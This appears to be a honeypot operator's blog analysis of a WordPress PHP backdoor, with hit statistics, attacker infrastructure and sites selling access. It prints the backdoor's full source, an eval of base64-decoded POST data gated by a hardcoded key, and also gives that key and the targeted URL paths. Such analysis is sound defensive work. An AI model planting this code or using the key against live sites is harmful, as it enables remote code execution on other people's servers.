For years my WordPress honey pot has caught large numbers of attempts to download large blocks of Base64-encoded PHP. These attempts include two HTTP parameters, named "key", and "fack". The parameter named "key" almost always had a value "sdfadsgh4513sdGG435341FDGWWDFGDFHDFGDSFGDFSGDFG".
The earliest such attack occurred 2014-12-10 17:09:46-07. This was about a year after I started running a WordPress honey pot. I've recorded 1.2 million such accesses since then.
The lion's share (over 1 million) of these HTTP accesses are for URLs ending in:
/wp-content/plugins/wp_module/wp_tags.php/wp-content/uploads/2015/11/mod_arcweb.php
Somewhere along the line, I missed the download of this backdoor. I finally (2019-06-10 or so) caught it again. Even though it's pretty obvious what the backdoor did, I'm glad to have the opportunity to see the code.
There's not much to go on here: the attacker(s) invoked a URL
ending in /wp-content/plugins/apikey/apikey.php.
I've fixed up my WordPress honey pot so that it can
act as an apikey.php backdoor.
There's not much to the apikey.php backdoor.
It can answer "testtrue" (not HTML, just the string), to
a specific HTTP query,
and it can download files to the compromised WordPress host,
via the move_uploaded_file
PHP builtin.
It answers "true" if the download probably succeeds.
apikey.php doesn't bother to check the return status
of move_uploaded_file(), so who really knows?
Typical of rubbish PHP malware.
The attacker(s) used it to send a completely un-obfuscated file to my honey pot.
45.227.255.151 → hostby.web4net.org
web4net.org → 85.93.31.124
whois says that 45.227.255.151 is owned by a mysterious,
Panamanian off-shore company:
inetnum: 45.227.255/24
owner: Okpay Investment Company
address: Av la Paz, El ingenio, 1292, ----
address: 0000 - Panama - --
country: PA
inetrev: 45.227.255/24
created: 20180507
changed: 20180507
inetnum-up: 45.227.252/22
traceroute has 45.227.255.151 probably physically located
in Netherlands:
traceroute to 45.227.255.151 (45.227.255.151), 30 hops max, 60 byte packets
1 versorouter (162.246.45.129) 50.238 ms 60.597 ms 60.582 ms
2 10.100.100.1 (10.100.100.1) 60.558 ms 60.535 ms 60.510 ms
3 v231.core1.den1.he.net (216.66.73.25) 60.489 ms 60.463 ms 60.442 ms
4 100ge14-1.core1.mci3.he.net (184.105.64.50) 69.756 ms 69.748 ms 82.166 ms
5 100ge8-1.core2.chi1.he.net (184.105.81.210) 87.184 ms 100ge15-1.core2.chi1.he.net (184.105.222.78) 87.180 ms 87.145 ms
6 100ge16-1.core1.nyc4.he.net (184.105.223.162) 104.582 ms 54.362 ms 100ge8-1.core1.nyc4.he.net (184.104.193.37) 64.304 ms
7 100ge16-2.core1.lon2.he.net (72.52.92.165) 126.814 ms 126.800 ms 126.770 ms
8 linx.r1.eqx-am7.nl.as43350.com (195.66.226.154) 136.879 ms 131.825 ms 131.777 ms
9 185.107.116.3 (185.107.116.3) 139.318 ms 194.787 ms 185.107.116.4 (185.107.116.4) 187.247 ms
10 hostby.web4net.org (45.227.255.151) 189.844 ms * *
geoiplookup has the last two hops in that traceroute, 195.66.226.154 and 185.107.116.3,
in Netherlands,
but has no info for 45.227.255.151.
Hurricane Electric is super bad about physical locations for
its IP addresses, but the traceroute roughly looks like it goes
Denver → Chicago → New York City → London UK.
If we squint, we see "nl" for "Netherlands" in the DNS name
for 195.66.226.154.
web4net.org seems to be a hosting company,
offering email hosting, virtual private servers, dedicated servers,
and VPNs.
They have instructions in 26 languages.
They have an international presence.
A shady Panamanian hosting company, with IP addresses in Netherlands. Seems about right.
None needed. The attacker(s) conveniently didn't do anything obscure, conceal or defend this code.
The backdoor itself is a pretty short piece of code:
<?php
error_reporting(0);
set_time_limit(0);
if ($_GET['q']=='1'){echo '200'; exit;}
if($_GET['key']=='sdfadsgh4513sdGG435341FDGWWDFGDFHDFGDSFGDFSGDFG')eval(base64_decode($_POST['fack']));
if(md5($_GET['key'])=='7663f1b3555993ad229183b0efad3261')eval(base64_decode($_POST['fack']));
?>
We can discern two functions:
- If the attacker sends an HTTP GET request, with a parameter named "q" which has a value of "1", it sends back a 3-character string "200". This gives the "fack" backdoor a small recon capability. Perhaps this gets used to scan for existence of this backdoor.
- An immediate-eval backdoor. If the backdoor invocation includes a parameter named "key" with a string value "sdfadsgh4513sdGG435341FDGWWDFGDFHDFGDSFGDFSGDFG", the backdoor will decode the Base64-encoded value of a parameter named "fack", and immediately eval any code that results from that decoding.
PHP malware always has something that just doesn't make sense. Part that doesn't make any sense for this backdoor is the dual path to "fack" value decoding and eval. You can send a parameter "key" with a value of "sdfadsgh4513sdGG435341FDGWWDFGDFHDFGDSFGDFSGDFG", or you can send a parameter named "key" with a value that has an MD5 hash of "7663f1b3555993ad229183b0efad3261". The string "sdfadsgh4513sdGG435341FDGWWDFGDFHDFGDSFGDFSGDFG" does not have an MD5 hash of "7663f1b3555993ad229183b0efad3261". I haven't been able to find whatever hashes to that in google.
In either path,
the HTTP parameter "key" and its value appear exposed in the URL,
given that the backdoor code finds the value via the PHP superglobal _GET.
Why bother MD5-hashing it?
Alternatively, why have two paths to immediate code eval?
I hacked together an example program that can exercize the fack-and-key backdoor.
Right now, I have 8299 invocations of typical "fack" backdor URLs (see above)
in my honey pot's retained data which have a URL ending in ?q=1,
recon probe URLs.
These probes arrived over the course of exactly 35 days.
The probes have TCP port numbers in ranging from 32770 to 65472. According to Wikipedia on 2019-06-15, this is consistent with the ephemeral port range used by "many Linux kernels".
During the same 35 days, only 1169 attempts to use the "fack" backdoor occurred. 40 different IP addresses made those attempts.
TCP port numbers ranged from 32796 to 60986, and no User Agent string appeared in the requests, except for 4 requests that had "python-requests/2.21.0" as the user agent, and 2 requests with "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.1 Safari/537.36" as the user agent. These 6 requests did have TCP port numbers outside the Linux kernel ephemeral port range. The also sent much smaller pieces of base64-encoded PHP for immediate eval. The invocations with "python-requests/2.21.0" User Agent string may just have been scanning for live backdoors: the code they sent ended up as
echo "boyfriendfox";
The downloads send about 388,000 bytes of base64-encoded PHP each time. Size does vary: it appears that each download is customized as far as what it reports back to the attacker(s).
Someone was trying to figure out how to send PHP code to the "fack" backdoor. This is well after my web server started getting "key" and value for the "fack" backdoor, so it's probably someone who found the backdoor code in a compromised web site, or someone who purchased access (!) to the backdoor, and couldn't quite comprehend the instructions.
Someone made an undated, obfuscated submission to unphp.net.
Googling for the "key" value,
I found an online store selling access to this backdoor, at $0.40 per URL, minimum 40 URLs.
this was mid-June, 2019, https://www.backsib.com.
It has instructions in both Russian and English!
→→→
→→→
→→→
Just for fun, another place selling the same type of shells, for $0.90 per URL.




